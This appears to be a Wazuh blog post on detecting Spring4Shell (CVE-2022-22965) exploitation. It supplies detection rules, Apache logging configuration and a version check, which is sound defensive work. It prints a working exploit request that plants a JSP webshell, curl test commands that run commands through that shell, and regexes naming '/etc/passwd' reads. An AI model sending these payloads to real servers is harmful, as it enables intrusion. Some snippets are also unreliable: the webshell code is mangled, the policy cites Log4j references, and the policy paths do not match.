A remote code execution (RCE) vulnerability that affects the Spring Java framework has been discovered. The vulnerability is dubbed Spring4Shell or SpringShell by the security community. It has the designation CVE-2022-22965 with a CVSS score of 9.8.
The Spring4Shell vulnerability allows an attacker to send a specially crafted HTTP request to bypass the library’s HTTP request parser, leading to remote code execution. The exploitation of this vulnerability allows the attacker to install a webshell on the affected server leading to further command execution.
Affected versions
- JDK version 9 and above
- Spring-webmvc or spring-webflux dependency
- Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
Spring has released versions 5.3.18 and 5.2.20 to patch the issue as well as version 2.6.6 for spring-boot. We recommend that all users upgrade to either of these versions to mitigate the vulnerability.
Detecting exploitation attempts
There are several proof of concept (PoC) exploitation scripts on the Internet which makes the exploitation of the Spring4Shell vulnerability fairly simple and widespread. We also have reports of attackers mass scanning the Internet for vulnerable servers. We have analyzed the exploitation scripts and the reports of mass scanning activities in order to write an effective detection rule for Wazuh.
To gain initial access, the attacker sends an HTTP request whose data section contains the exploit for the Spring4Shell vulnerability and a JSP web shell payload that is dropped on the target server. A sample of the web request that is typically sent is shown below:
POST / HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 762 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
The payload drops a password protected webshell in the Tomcat root directory called tomcatwar.jsp
and its content is:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -
To invoke commands via this webshell, the attacker issues a web request with the desired command in the cmd
parameter such as:
http://localhost/tomcatwar.jsp?pwd=j&cmd=whoami
To detect Spring4Shell exploitation attempt with Wazuh version 4.2, we created the following rules on the Wazuh manager in the /var/ossec/etc/rules/local_rules.xml
rule file:
<group name="spring4shell, attack,"> <rule id="110001" level="12"> <if_group>web|accesslog|attack</if_group> <regex type="pcre2">%25%7Bc2%7Di%20if\(%22j%22.equals\(request.getParameter\(%22pwd%22\)\)\)%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime\S*.exec\(request.getParameter\(%22cmd%22\)\).getInputStream\(\)%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while\(\(a%3Din.read\(b\)\)\S*3D-1\)%7B%20out.println\(new%20String\(b\)\)%3B%20%7D%20%7D%20%25%7Bsuffix%7Di</regex> <description>Possible Spring4Shell RCE (CVE-2022-22965) attack attempt detected.</description> <mitre> <id>T1190</id> <id>T1210</id> <id>T1211</id> </mitre> </rule> <rule id="110002" level="12"> <if_group>web|accesslog|attack</if_group> <regex type="pcre2">\.jsp\?pwd=\S*\x26cmd=\S*|\.jsp\?cmd=\S*\x26pwd=\S*|\.jsp\?id=(whoami|cat%20\/etc\/passwd|cat+\/etc\/passwd|ifconfig|ipconfig)</regex> <description>JSP webshell HTTP request pattern detected.</description> <mitre> <id>T1190</id> <id>T1210</id> <id>T1211</id> </mitre> </rule> </group>
We restart the Wazuh manager to apply the changes.
systemctl restart wazuh-manager
For the detection rule to work, the Wazuh agent on the web server endpoint must be configured to forward the web access logs to the manager for analysis. We are running an Apache web server on Ubuntu 20.04. Apache, by default, does not log the body of POST requests which is vital for our detection rule. We enable the logging of the POST request body by taking the following steps:
- Run the following command to enable dump_io:
sudo a2enmod dump_io
- Next, we edit the Apache configuration file
/etc/apache2/apache2.conf
and add the following lines to turn on the related module and to set theLogLevel
todumpio:trace7
.
DumpIOInput On LogLevel dumpio:trace7
- We restart the web server to apply the changes.
systemctl restart apache2
Now that we are logging the requests, we forward the logs to the Wazuh manager. We do this by editing the agent configuration file and specifying the path to the Apache web access log and error log. The following lines are added to the <ossec_config>
section of /var/ossec/etc/ossec.conf
:
<localfile> <log_format>apache</log_format> <location>/var/log/apache2/access.log</location> <location>/var/log/apache2/error.log</location> </localfile>
We restart the agent to apply the changes.
systemctl restart wazuh-agent
To test the detection rule, we send the following web requests to the web server:
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://WEB_SERVER/ curl -X GET "http://WEB_SERVER/tomcatwar.jsp?pwd=j&cmd=whoami"
Detecting vulnerable versions of Spring framework
We will utilize Wazuh SCA (Security Configuration Assessment) to identify outdated Java archives that are vulnerable to Spring4Shell. SCA policies are written in YAML format, and they are used to run checks for system hardening; in many cases detecting vulnerable software also falls under this category.
Unless otherwise stated, all of the following configurations were done on the Wazuh manager. There is usually no need to edit the local configuration of the agents being monitored.
First, we create a new policy file at /var/ossec/etc/shared/default/spring4shell_check.yml
:
policy: id: "spring4shell_check" file: "spring4shell_check.yml" name: "Spring4Shell dependency check" description: "This document provides prescriptive guidance for identifying Spring4Shell RCE vulnerability" references: - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance requirements: title: "Check if Java is present on the machine" description: "Requirements for running the SCA scan against machines with Java on them." condition: all rules: - 'c:sh -c "ps aux | grep java | grep -v grep" -> r:java' checks: - id: 10000 title: "Ensure Spring framework is not under 5.3.18 or 5.2.20." description: "The Spring framework is vulnerable to Spring4Shell RCE (CVE-2022-22965) on versions 5.3.0 to 5.3.17, and 5.2.0 to 5.2.19" remediation: "Update the Spring framework to version 5.3.18 or 5.2.20" condition: none rules: - 'c:find / -name "*.jar" -type f -exec sh -c "if unzip -l {} | grep org/springframework/; then unzip -p {} META-INF/MANIFEST.MF; fi | grep Implementation-Version" \; -> r:5.3.0$|5.3.1$|5.3.2$|5.3.3$|5.3.4$|5.3.5$|5.3.6$|5.3.7$|5.3.8$|5.3.9$|5.3.10$|5.3.11$|5.3.12$|5.3.13$|5.3.14$|5.3.15$|5.3.16$|5.3.17$|5.2.0$|5.2.1$|5.2.2$|5.2.3$|5.2.4$|5.2.5$|5.2.6$|5.2.7$|5.2.8$|5.2.9$|5.2.10$|5.2.11$|5.2.12$|5.2.13$|5.2.14$|5.2.15$|5.2.16$|5.2.17$|5.2.18$|5.2.19$'
We do this so that the SCA policy gets shared with a group of agents, which are the ones that will run the checks. In our case, we are sharing the policy with the default group, hence the default
directory.
Note
Please be aware that, depending on the monitored system, the find
command used to detect vulnerable applications can be CPU intensive.
Additionally, once the SCA policy file is created, the owner and group are modified so it can be used by Wazuh:
chown ossec:ossec /var/ossec/etc/shared/default/spring4shell_check.yml
Note
In versions of Wazuh 4.3.0 and above, the owner and group will be wazuh:wazuh
Next, we added the SCA block to /var/ossec/etc/shared/default/agent.conf
to enable the new policy on the Wazuh agents that belong to the default group:
<agent_config os="linux"> <sca> <enabled>yes</enabled> <scan_on_start>yes</scan_on_start> <interval>24h</interval> <skip_nfs>yes</skip_nfs> <policies> <policy>/var/ossec/etc/shared/spring4shell_check.yml</policy> </policies> </sca> </agent_config>
Below we edited a local setting on the Wazuh agent configuration file. This is done directly on the systems that are being monitored, as there is no way to push this setting from the Wazuh manager. The purpose of this modification is to enable the execution of commands in the SCA policies that are received from the Wazuh manager. This is not necessary when those SCA policies are local to the agent.
echo "sca.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf
Restart the Wazuh agent to apply the changes.
systemctl restart wazuh-agent
We can confirm from the SCA inventory that the system currently has a vulnerable Spring framework on it.
Conclusion
This article demonstrates how to detect possible exploitation of Spring4Shell vulnerability with Wazuh. This is done with the aid of custom rules that detect exploitation patterns in HTTP requests. The vulnerability is relatively new, and it affects a lot of applications due to the fact that many applications rely on the Spring framework. It is recommended that all users update to Spring version 5.3.18 or 5.2.20 to patch the issue as well as version 2.6.6 for spring-boot.